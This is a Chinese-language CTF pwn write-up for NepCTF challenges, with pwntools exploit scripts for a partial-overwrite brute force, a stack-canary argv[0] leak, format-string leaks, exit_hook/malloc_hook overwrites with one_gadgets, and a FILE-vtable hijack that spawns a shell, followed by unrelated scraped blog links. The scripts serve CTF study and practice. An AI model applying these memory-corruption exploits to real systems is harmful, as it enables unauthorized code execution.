NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西。
[签到] 送你一朵小红花
64位程序,保护全开。
程序会在buf[2]处留下一个data段的地址,可以覆盖这个地址的后两个字节,使得有1/16的几率,可以让程序执行到puts5函数,就可以拿flag了。直接写代码爆破就可。
1 from pwn import *
2
3 context.log_level = 'debug'
4 flag = ''
5 #4E1
6
7 while 1:
8 try:
9 #p = process('./pwn')
10 p = remote('node2.hackingfor.fun',37819
11 payload = 'a'*0x10+'\xe1\xa4'
12 p.send(payload)
13 flag = p.recvuntil('}')
14 print flag
15 break
16 except:
17 p.close()
easystack
这道题卡了好久,后来问其他师傅要的exp看了,才做出来,又学到一种canary的骚操作。
在cancry被破坏的时候,程序会调用一系列相关函数,其中会有输出。
可以看到,在_fortify_fail()函数中,是会输出一句话的,而第二个参数是__libc_argv[0],在main函数中参数argv[0]是会显示运行程序的路径的,这个值被保存在栈空间中。
截图是程序start开始的第一步,可看到是向栈中压入了两个值,其中0x1是程序执行时参数的个数,而下面的0x7fffffffe1d9中保存的信息就是我这个程序在本地运行是时候的路径。(这里没有显示完全)
所以这道题的思路就出来了。程序先将flag读取到bss段,然后有一个gets函数让输入,虽然我们这里会破坏canary,但是只要将0x7fffffffde58覆盖成bss段存flag的地址,就可以在出发canary的时候将flag输出出来。
这种方法使用于可以无限溢出,并且知道flag保存的地址,并且开启了canary的时候使用。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',32705)
5 context.log_level = 'debug'
6
7 flag_addr = 0x0006CDE20
8 payload = 'a'*0x1c8+p64(flag_addr)
9 p.sendline(payload)
10 #p.sendlineafter('answer!!',payload)
11 p.recv()
scmt
这道题还算简单,格式化字符串泄露信息,然后就可以拿到shell了。
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',30498)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 p.sendlineafter('name:\n','%8$p')
9 p.recvuntil('!!!')
10 num = int(p.recvuntil('\n')[:-1],16)
11 p.sendlineafter('number:\n',str(num))
12 p.interactive()
superpowers
考点是flie结构体,是2.23环境下的题目。
可以打开任意文件并进行输出,但是不能打开带有flag字符的文件。这里利用/proc系统来获取libc基地址。后面有一个格式化字符串漏洞可以进行任意位置的读写。
这题我用两种方法做出来了。但是自己想的第一种方法只在自己本地复现。
1.泄露libc基地址后,利用任意写,打exit_hook为main函数地址,打__malloc_hook为realloc的,打realloc为one_gadgets,当程序返回到main函数,再次输入/proc/self/maps,此时程序会调用malloc,就会触发one_gadgets。因为是32位程序,one_gadgets大多数都不能用,只能再利用realloc进行抬栈。本地可以复现。远程没有打通的原因是我本地和远程的环境不一样,exit_hook与远程环境的偏移不同,导致远程没做出来。
2.泄露libc基地址后,改写fp指针,将fp指针指向bss段可以控制的地方,改写vtable指向可以控制的地方,因为程序中调用了fclose,会调用虚表中的close函数,这里可以把close函数的位置写成system函数的位置,并且将file结构体中的flag字段设置为'/bin/sh'字符串,就可以拿到shell了。(后面会专门开一个帖子记录io题目的做法)
打exit_hook的exp:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('node2.hackingfor.fun',34275)
5 elf = ELF('./pwn')
6 libc = ELF('./libc.so.6')
7 context(log_level='debug',arch='i386',os='linux')
8
9 og = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
10
11 p.sendlineafter('filename:','/proc/self/maps')
12 p.recvuntil('-f7')
13 libc_base = int(p.recvuntil('-f7')[-11:-3],16)
14 print 'libc_base-->'+hex(libc_base)
15
16 exit_hook = libc_base+0x1fd818
17
18 shell = libc_base+og[0]
19 main = 0x0804864B
20 malloc_hook = libc_base+libc.symbols['__malloc_hook']
21 realloc = libc_base+libc.symbols['realloc']
22 realloc_hook = libc_base+libc.symbols['__realloc_hook']
23 malloc = libc_base+libc.symbols['malloc']
24 system = libc_base+libc.symbols['system']
25
26 payload = fmtstr_payload(27,{exit_hook:main,malloc_hook:realloc+4,realloc_hook:shell})
27 p.sendafter('name?',payload)
28
29 p.sendlineafter('filename:','/proc/self/maps')
30 p.interactive()
打file结构体的exp:
1 from pwn import *
2
3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
4 #p = remote('node2.hackingfor.fun',34275)
5 elf = ELF('./pwn')
6 libc = ELF('./libc.so')
7 context(log_level = 'debug', arch = 'i386', os = 'linux')
8
9 p.sendlineafter('filename:','/proc/self/maps')
10 p.recvuntil('-f7')
11 libc_base = int(p.recvuntil('-f7')[-11:-3],16)
12 print 'libc_base-->'+hex(libc_base)
13
14 main = 0x0804864B
15 system = libc_base+libc.symbols['system']
16
17 fd = 0x0804A04C
18 fake_flag = 0x0804A050
19 fake_lock = fake_flag+0x48
20 fake_vtable = 0x0804A050+0x94
21
22 payload = fmtstr_payload(27,{fd:0x0804A050,fake_flag:'\x73\x68\x00',fake_lock:0x0804A050+0x200,fake_vtable:0x0804A050+0x200,0x0804A050+0x200+68:system})
23 p.sendafter('name?',payload)
24 p.interactive()
NepCTF pwn writeup的更多相关文章
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难. house_of_cosmos 没开pie,并且可以打got表. 在自写的输入函数存在漏洞.当a2==0时,因为时int类型,这里就会存在溢出.菜单题,但是没有输出功 ...
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
- HGAME2021 week2 pwn writeup
week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...
随机推荐
- [bzoj5343]混合果汁
二分枚举答案,问题转化为计算至少取到一定体积,价格最少是多少,显然是贪心取最小,用线段树维护,然后因为要判断答案,所以可持久化一下即可. 1 #include<bits/stdc++.h> ...
- [bzoj5415]归程
首先肯定要预处理出每一个点到1的最短路(别写spfa) 然后以海拔为边权,建一棵kruskal重构树 用倍增找到vi最后一个小于pi的祖先,然后在子树中取min(预处理) 1 #include< ...
- [atARC096F]Sweet Alchemy
给定一棵有根树,记$f_{i}$表示$i$的父亲,每一个点有一个代价$c_{i}$ 给定常数$D$和$X$,再给每个点赋一个权值$v_{i}$($v_{i}\ge 0$),满足以下条件下最大化$\su ...
- App 端自动化的最佳方案,完全解放双手!
1. 前言 大家好,我是安果! 之前写过一篇文章,文中提出了一种方案,可以实现每天自动给微信群群发新闻早报 如何利用 Python 爬虫实现给微信群发新闻早报?(详细) 但是对于很多人来说,首先编写一 ...
- pytest-rerunfailures/pytest-repeat重跑插件
在测试中,我们会经常遇到这种情况,由于环境等一些原因,一条case运行5次,只有两次成功 其它三次失败,针对这种概率性成功或失败,若是我们每次都运行一次就比较耗时间,这个时候 就需要pytest提供的 ...
- Java培训班4个月有用吗?
很多想学Java都会经历这样一个选择,是自学还是报班?自学的话需要一步步摸索,从无到有硬啃下来,时间没保证:可如果报班的话,目前市面上五花八门的培训机构又是鱼龙混杂,并且现在越来越多的培训机构宣称&q ...
- 【AGC板刷记录】
这个帖子,是在自己学知识点累了的时候就看看\(AGC\)的题目来休息. 而且白天上课可以做( AGC-001 \(A\ BBQ Easy\) 考虑从小到大排,相邻两个取为一对. BBQ Easy #i ...
- Atcoder Regular Contest 096 D - Sweet Alchemy(贪心+多重背包)
洛谷题面传送门 & Atcoder 题面传送门 由于再过 1h 就是 NOI 笔试了所以题解写得会略有点简略. 考虑差分,记 \(b_i=c_i-c_{fa_i}\),那么根据题意有 \(b_ ...
- ClickHouse数据定义
数据定义 ClickHouse的数据类型 ClickHouse是一款分析型数据库,有多种数据库类型,分为基础类型.复合类型和特殊类型.其中基础类型使用ClickHouse具备了描述数据的基本能力, ...
- R语言与医学统计图形【5】饼图、条件图
R语言基础绘图系统 基础图形--饼图.克利夫兰点图.条件图 6.饼图 pie(rep(1,26),col=rainbow(26), labels = LETTERS[1:26], #标签 radius ...